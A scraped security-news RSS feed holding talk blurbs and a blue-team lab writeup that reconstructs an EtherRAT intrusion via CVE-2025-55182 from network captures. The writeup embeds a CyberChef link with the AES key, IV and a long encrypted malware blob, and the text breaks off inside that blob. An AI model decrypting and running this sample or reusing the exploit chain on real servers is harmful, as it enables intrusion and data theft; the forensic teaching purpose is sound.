<pubDate>Sat, 18 Jul 2026 15:03:27 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this excerpt from "Predicted: How AI Is Restructuring Social Life," author Mona Sloane examines how artificial intelligence is reconfiguring our understanding of the world and how we imagine the future.]]></content:encoded>
</item>
<item>
<title><![CDATA[I make things in schools, you can too (emf2026)]]></title>
<description><![CDATA[If you remember me from "I gave up investment banking to become a digital artist", you'll know that I've spent the last 17 years being an artist. Over that time I've worked in a lot of schools doing making activities: concrete relief casting in a nursery, constructing willow Fibonacci towers with...]]></description>
<link>https://tsecurity.de/de/3677987/it-security-video/i-make-things-in-schools-you-can-too-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677987/it-security-video/i-make-things-in-schools-you-can-too-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 14:33:11 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you remember me from &quot;I gave up investment banking to become a digital artist&quot;, you'll know that I've spent the last 17 years being an artist. Over that time I've worked in a lot of schools doing making activities: concrete relief casting in a nursery, constructing willow Fibonacci towers with secondary maths students, designing paper mushrooms in a primary, writing haiku about water, organising giant multi-school lantern parades. My experience is that young people are increasingly struggling with the confidence and basic skills to make. Primary schools are becoming art-free zones, with limited resources and teachers struggling with their own confidence. It sounds bleak, but the exciting news is that you can make a huge difference in a young person's life by getting involved. I'm going to talk about what's going wrong and how we all might fix it.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/280-i-make-things-in-schools-you-can-too]]></content:encoded>
</item>
<item>
<title><![CDATA[The guidebook to successful alien contact - lessons from fostering rescue dogs (emf2026)]]></title>
<description><![CDATA[What can fostering rescue dogs teach us about first contact with aliens? A lot.

Through the stories of dogs, including brothers Percy and Alfie (think ‘Twins’ Schwarzenegger and DeVito levels of familial resemblance), we'll discover lessons that apply equally to dogs, cats, people, and extraterr...]]></description>
<link>https://tsecurity.de/de/3677986/it-security-video/the-guidebook-to-successful-alien-contact-lessons-from-fostering-rescue-dogs-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677986/it-security-video/the-guidebook-to-successful-alien-contact-lessons-from-fostering-rescue-dogs-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 14:33:10 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What can fostering rescue dogs teach us about first contact with aliens? A lot.

Through the stories of dogs, including brothers Percy and Alfie (think ‘Twins’ Schwarzenegger and DeVito levels of familial resemblance), we'll discover lessons that apply equally to dogs, cats, people, and extraterrestrial encounters.

From building trust and creating safe spaces using Feng Shui, to understanding behaviours in their context, and realising when humans are the challenge.

Guaranteed to include cute dog pictures (and the odd cat picture).

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/224-the-guidebook-to-successful-alien-contact]]></content:encoded>
</item>
<item>
<title><![CDATA[The guidebook to successful alien contact - lessons from fostering rescue dogs (emf2026)]]></title>
<description><![CDATA[What can fostering rescue dogs teach us about first contact with aliens? A lot.

Through the stories of dogs, including brothers Percy and Alfie (think ‘Twins’ Schwarzenegger and DeVito levels of familial resemblance), we'll discover lessons that apply equally to dogs, cats, people, and extraterr...]]></description>
<link>https://tsecurity.de/de/3677977/it-security-video/the-guidebook-to-successful-alien-contact-lessons-from-fostering-rescue-dogs-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677977/it-security-video/the-guidebook-to-successful-alien-contact-lessons-from-fostering-rescue-dogs-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 14:17:56 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What can fostering rescue dogs teach us about first contact with aliens? A lot.

Through the stories of dogs, including brothers Percy and Alfie (think ‘Twins’ Schwarzenegger and DeVito levels of familial resemblance), we'll discover lessons that apply equally to dogs, cats, people, and extraterrestrial encounters.

From building trust and creating safe spaces using Feng Shui, to understanding behaviours in their context, and realising when humans are the challenge.

Guaranteed to include cute dog pictures (and the odd cat picture).

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/224-the-guidebook-to-successful-alien-contact]]></content:encoded>
</item>
<item>
<title><![CDATA[CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]]]></title>
<description><![CDATA[CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]CallMeOnTheChain - EtherRAT | Blue team challenge.You can read this writeup on my GitBook: LinkScenarioSomething is wrong at Maromalix. On February 10th, 2026, credentials that should never have left the network were suddenly used from an un...]]></description>
<link>https://tsecurity.de/de/3677787/hacking/callmeonthechain-etherrat-lab-writeup-cyberdefenders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677787/hacking/callmeonthechain-etherrat-lab-writeup-cyberdefenders/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:21 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*8sxyPDbCie18N5eQqwcpAg.png"></figure><p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/callmeonthechain-etherrat/">CallMeOnTheChain - EtherRAT | Blue team challenge.</a></p><blockquote><em>You can read this writeup on my GitBook: </em><a href="https://prankster.gitbook.io/prankster/cyberdefenders/network-forensics/callmeonthechain-etherrat"><em>Link</em></a></blockquote><h4>Scenario</h4><p>Something is wrong at Maromalix. On February 10th, 2026, credentials that should never have left the network were suddenly used from an unauthorized external source. The trail led back to a single server: their public-facing web application. No failed logins, brute force, or phishing were detected, yet the attacker gained entry and established a way to return. This follows a pattern of Maromalix being targeted by attackers leveraging AI-assisted tooling. Using the captured network traffic, reconstruct the timeline and uncover exactly how this breach occurred.</p><h4>Initial Access</h4><blockquote><strong><em>Q1: </em></strong><em>What is the IP address of the attacker that exploited the web application?</em></blockquote><p>By reading the scenario above carefully, we have a public-facing web application asset that got attacked, so let’s start investigation.<br>We are provided here with a pcap file with ssl keys log file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*djEn5vVkPPWI4-Zuw4vMYA.png"><figcaption>Edit →Preferences →Protocols → TLS → (Pre)-Master-Secret log filename</figcaption></figure><p>At first, filtered for http traffic, and took a look at conversations, found the IP for the web-server (<em>arguably</em><em>172.31.44.238 is the web-server IP</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*prxEHHiXDwldiYkmurjf_w.png"></figure><p>Narrowing down a little with this query: http.request.method==POST and ip.dst==172.31.44.238 for less packets and better inspection (~300 packets).<br>After following someTLSstreams, found this communication:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7uxT_Pq2pKhmgjsoKDcYrg.png"></figure><p>a weird POST requests generated by a script maybe (User-Agent: python-requests/2.31.0\r\n) and have the same length (339).<br>so, i guess this needs further investigation by adding the source IP address http.request.method==POST and ip.dst==172.31.44.238 and ip.src==63.180.69.24</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D1p1lXAC2hWNAczytNPF8g.png"></figure><p>Actually i couldn’t stop myself from inspecting the fisrtPOST request with a different length, so i followed the TLSstream for this hovered packet:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sJnQQUYvDoz7_mQ-Zg2M2Q.png"></figure><p>so it’s a payload that abuses a JavaScript weakness (prototype pollution + constructor escape) to escape normal restrictions, then executes the system command id on the server. After that, it tries to sneak the result back to the attacker by embedding it inside an error response.</p><p>Also, By investigating the second packets with the length &gt; 339:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2j6_wD_L1EvQp6b0XhYa6w.png"></figure><p>we can find this payload also:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rfNX_Ty_MI28Y45FDTFqOA.png"></figure><p>So it makes sense now!!</p><blockquote><em>63.180.69.24</em></blockquote><blockquote><strong><em>Q2: </em></strong><em>What is the CVE identifier for the vulnerability exploited in this attack?</em></blockquote><p>from the Lab Name, we can search and get the CVE easily:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*6UGH92G4CkeLg6z6MlhQww.png"></figure><p>Or by searching for the CVE from the payloads we’ve already identified in the previous question:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tvXhGt3xXzwpJyZVXluBpA.png"></figure><blockquote>CVE-2025–55182</blockquote><h4>Execution</h4><blockquote><strong><em>Q3: </em></strong><em>What is the filename of the script downloaded by the exploit payload to install the malware?</em></blockquote><p>based on paloalto report (<a href="https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-2025-66478-next/"><strong><em>link</em></strong></a>) we did identified this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ta7zqMAKL97Oyq5Cjt0SKg.png"></figure><p>so, we can filter for the user-agent curl , and GET requests:<br>http.request.method==GET and http.user_agent contains "curl"</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*gFVyhvGIYpiXRfe7yp2JYA.png"></figure><blockquote>s.sh</blockquote><blockquote><strong><em>Q4: </em></strong><em>What is the filename of the decrypted implant that serves as the main RAT?</em></blockquote><p>By investigating the bash script file, we can get the correct answer directly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*Jwve-sbRgl1XCug_zh-5iw.png"></figure><blockquote>.7vfgycfd01.js</blockquote><h4>Defense Evasion</h4><blockquote><strong><em>Q5: </em></strong><em>What is the hidden directory path used by the malware to store its components?</em></blockquote><p>Investigating the same Bash script file, it’s obvious at the beginning of the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*NtVANhTXHIgdM4Jh8j0riw.png"></figure><blockquote><em>~/.local/share/.05bf0e9b</em></blockquote><blockquote><strong><em>Q6: </em></strong><em>The malware checks system locale to avoid execution in certain regions. What is the first locale code in the blocklist?</em></blockquote><p>since we have the full script, the script contains a Base64 encoded Blob</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WxS9zbDvFI80nTghhlFtnw.png"></figure><p>That is AES Encrypted, with a clear Key and IV as you can see,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PxI3Ys9qw19KJ7GdMcx89w.png"></figure><p>So, Let’s decrypt it properly on cyberchef (<a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'UTF8','string':'a3f8b2c1d4e5f6a7b8c9d0e1f2a3b4c5'%7D,%7B'option':'UTF8','string':'d4e5f6a7b8c9d0e1'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&amp;input=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